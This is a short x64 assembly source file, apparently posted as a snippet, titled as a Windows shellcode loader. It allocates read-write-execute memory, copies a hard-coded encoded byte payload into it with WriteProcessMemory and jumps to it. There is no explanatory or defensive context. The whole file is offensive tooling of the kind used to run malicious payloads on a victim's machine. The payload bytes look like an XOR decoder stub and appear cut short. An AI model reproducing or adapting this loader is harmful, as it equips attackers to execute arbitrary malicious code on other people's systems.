[ASM] Windows shellcode loader
Shellcode loader
extrn VirtualAlloc :PROC
extrn GetCurrentProcess :PROC
extrn WriteProcessMemory :PROC
.data
shellcode DB 48h,31h,0c9h,48h,81h,0e9h,0feh,0ffh,0ffh,0ffh,48h,8dh,05h
DB 0efh,0ffh,0ffh,0ffh,48h,0bbh,7dh,5dh,14h,08h,0adh,48h,33h
DB 0cfh,48h,31h,58h,27h,48h,2dh,0f8h,0ffh,0ffh,0ffh,0e2h,0f4h
DB 0edh,0cdh,84h,98h,3dh,0d8h,0a3h,5fh,0edh,0cdh,84h,98h,0adh
DB 48h,33h,0cfh
shellcode_end DB 0
shellcode_len DQ ?
hProcess DQ ?
baseAddr DQ ?
.code
Start PROC
SUB rsp, 28h
XOR rcx, rcx
MOV rdx, 100h
MOV r8, 1000h
MOV r9, 40h
CALL VirtualAlloc
MOV baseAddr, rax
CALL GetCurrentProcess
MOV hProcess, rax
MOV rcx, hProcess
MOV rdx, baseAddr
LEA rax, shellcode
LEA rbx, shellcode_end
SUB rbx, rax
MOV shellcode_len, rbx
LEA r8, shellcode
MOV r9, shellcode_len
SUB rsp, 40
MOV qword ptr [rsp+32], 0
CALL WriteProcessMemory
ADD rsp, 40
CALL baseAddr
Start ENDP
END